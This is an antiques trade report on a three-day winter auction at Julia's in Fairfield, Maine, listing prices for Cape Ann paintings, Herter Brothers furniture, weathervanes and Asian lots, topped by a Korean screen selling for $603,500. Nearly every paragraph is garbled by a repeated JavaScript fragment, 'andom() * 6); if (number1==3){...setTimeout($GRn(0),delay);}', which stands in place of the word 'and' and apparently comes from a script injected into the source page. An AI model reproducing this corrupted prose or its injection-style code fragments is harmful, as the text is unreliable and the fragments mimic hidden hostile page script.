By: David S. Smith
FAIRFIELD, MAINE: It was a hot time with heated bidding experienced throughout each of the three sessions at Julia’s Winter antiques, fine art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Asian auction, conducted over three days, January 30 through February 1. The auction house posted impressive results from the well-attended auction with a gross total of more than $4 million recorded andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with numerous surprises along the way.
Day one of the auction featured more than 400 paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and works of art, day two consisted of more than 600 lots of Americana andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and general antiques, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the third day of the sale was climatic with more than 800 lots crossing the auction block.
Highlighting the paintings session on opening day was the Cape Ann art collection of John Gale. Born in Vermont, Gale’s collection included a selection of Aldro Hibbard winter scenes depicting his home state that were actively bid, as well as other works by William Lester Stevens, Emile Gruppe andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Frederick Mulhaupt.
“Initially nostalgic, a curious mind andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a patient eye may have propelled the collection,” wrote auctioneer James Julia in the catalog, “but it grew to one of great confidence andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dimension. Finally Mr Gale’s home became a museum dedicated to his favored scenes andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and styles. Bathed in the light of his Tiffany lamps, the walls shimmered with Impressionistic views of Cape Ann — caught in time, yet timeless.”
The auction began with a Donald Allen Moser oil on canvas depicting a traditional Vermont farmstead that would set the pace for the day, Estimated at $3/4,000, the handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsome work attracted a great deal of interest, finishing above estimate at $6,037, as did the next lot, a T.M. Nichols oil titled “Red Barn in Autumn,” estimated at $3/5,000.
The top lot of the session came from the stylish works by Mulhaupt as Gale’s “Gloucester Gill Netters” crossed the auction block, selling between the estimate at $57,500. The next several lots by Mulhaupt were all from Gale’s collection, with a wonderful Impressionist view of ships docked inner harbor titled “The Ice Breaker’s Path” selling at $37,375, an oil titled “At The Guinea Wharf” depicted men working nets in port bringing $34,500, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and another view of men working dockside, “Harbor Life,” selling at $23,000.
A sharp-looking William Lester Stevens oil titled “Mill Dam” depicted a winding stream traversing a winter landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape with a mill. In a bold Impressionist style, the painting sold well above estimate, realizing $31,500.
Cape Ann harbor scenes by Hibbard saw lots of action, with “Motif #1 In Winter,” depicting working boats at dock during winter, soaring past the $4/6,000 estimate to bring $31,050. It was followed by Hibbard’s “Winter Harbor Scene with City Views Beyond” that finished at $13,225. A nice snow-covered mountainous landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape titled “West River Valley, Vt.,” led the group of Gale’s Hibbards, selling at $33,925, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Village with Bridge in Winter” by the artist realized $25,300.
A John Frederick Carlson winter river scene with homes, “Silvery Waters,” attracted attention from numerous collectors, more than doubling estimate on its way to a final selling price of $21,850. “Smith Cove, Rocky Neck, Gloucester,” a nice harbor scene by Gruppe, was another painting to do well, fetching $13,800.
Other paintings sold included “Parisian Street Scene with Flower Vendor” by French artist Victor Gabriel Gilbert that tripled estimate as it realized of $34,500. A nondescript lot containing two Old Masters drawings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and estimated at $500–$1,000 took off, with a final bid of $31,500.
“Day two showed strong results with an upswing in prices paid for early American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Victorian furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and accessories,” according to the gallery. Leading the way among the furniture was a Aesthetic Movement Herter Brothers eight-piece inlaid walnut parlor suite consisting of a triple back settee, a pair of gentleman’s chairs, three smaller lady’s chairs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a pair of side chairs. In good original condition the set finished well above the $15/20,000 estimate, selling at $34,500.
A display cabinet with carved Japanesque floral panels attributed to Herter Brothers was also from the Aesthetic Movement, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold for $13,800, while a Rocco Revival carved walnut breakfront bookcase realized $6,900 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Renaissance Revival marquetry center table brought $6,210. Also sold was a standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andard model Wooton desk in excellent original condition that realized $8,625.
Americana included a paint decorated child’s blanket box with a homestead scene depicted on the front. A center chimney home surrounded by a flower garden, fruit-laden apple trees, a prancing dog andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and running boy were depicted on the front of the green painted chest. Bidding was spirited, with it going out at $8,625. A small apothecary chest in a very bold tiger maple beat the estimate, bringing a bold $7,130.
A selection of weathervanes included a rare “Nancy Hanks with pneumatic tire sulky” weathervane by Fiske that sold above estimate at $23,000. A steer vane measuring almost 2 feet tall andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more than 40 inches long was attributed to Cushing & White andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold for $19,550, while a horse andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and rider vane went out at $13,225.
A rare pair of red leather fire buckets with painted gilt eagle decoration from the Mechanic Fire Society, Portsmouth, N.H., circa 1839, did well at $36,800.
An Antonio Jacobsen oil, “Portrait of the Pilot Boat Fannie,” attracted a great deal of attention. Consigned from a Marylandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collection, the painting depicted the vessel under full sail flying the American flag andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with numerous men on the sloop’s deck. Estimated at $15/20,000, the painting left the block after intense bidding at $52,900.
Other items sold included a hinged gold box decorated with agate panels andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a cameo of an African American woman with inset ruby earring andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and diamond necklace. Calling the box “one of the most magnificent stone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gold boxes we have encountered,” Julia hammered the lot down at $31,500, more than ten times the presale estimate.
A small collection of Native American items crossed the auction block, with a lot consisting of more than 300 period photographs of Indians by Harmon Marble selling between estimates at $9,200. Two first edition volumes of Lewis andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Clark Expedition published by Bradford andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Inskeep andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Abraham H. Inskeep in 1814 were inscribed by the owner andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated 1820. The books sold between estimates at $10,350.
Asian materials caused quite a stir at the gallery on the third day of the auction as lot after lot exceeded expectations. Among the opening lots, a small group of carved jade items estimated at $500/700 sold at $2,875.
The top lot of the auction came from the Asian offerings as a rare Korean longevity screen sold in excess of half-a-million dollars. It was clear to auctioneer Jim Julia as he compiled the catalog that the Korean ten-panel folding screen consigned by a Marylandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and family was important; it just was not clear how important the Yi dynasty painted screen was. It quickly became apparent, however, as the rare screen decorated with paintings of the gardens of longevity crossed the auction block — hammering down after a flurry of telephone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Internet bidding — ultimately selling at more than 120 times the high estimate.
The Eighteenth/Nineteenth Century screen, thought to be made of silk andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorated with ink andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mineral pigments, depicted various animals, including four mythical tortoise, a flock of ten deer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and eight cranes around a Sung period-inspired landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape of mountains, rivers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and waterfalls. Measuring 82 inches high by 165 inches wide, the screen was centrally decorated with a pair of grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pine trees with coral trunks andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and jade green-colored leaves. The rare screen had descended in the family of the consignor, gifted many years ago to the family by a member of the Diplomatic Corps in Korea. The screen, estimated at $3/5,000, climbed to $603,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and established the second highest price ever paid for an Asian items at Julia’s.
Another lot to attract serious attention was an Eighteenth Century Shakudo incense burner with carved andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gilt decorated panels andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a reticulated cover mounted with a foo dog finial. Estimated at $5/7,000, the rare incense burner from China sold at $35,650.
A Chinese aloeswood brush pot with carved decoration of scholars amid trees andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mountains did well at $11,500, while an aloeswood Ruyi scepter, Twentieth Century, China, was decorated with deeply carved monkeys andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold at $12,650. Another carved wooden scepter, also Twentieth Century, China, was decorated with the eight immortals andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it sold at $17,250.
A dragon robe with blue/black collar andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an overall yellow ground with dragon decoration, Nineteenth Century, China, realized $12,650.
Other Chinese items included a white porcelain Eighteenth Century vase painted in Tou Tsai style depicting scholars. It sold for $26,400, while a set of 12 Twentieth Century 12-month cups with K’ang Hi marks brought $23,000.
A framed handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and scroll after Lu Zhi, “Yuan Yan Ji Tu Juan,” did well, tripling the estimate to bring $23,000, while a hanging scroll signed Hongshou went out at $16,100.
All prices include the buyer’s premium. For additional information, 207-453-7125 or www.jamesdjulia.com.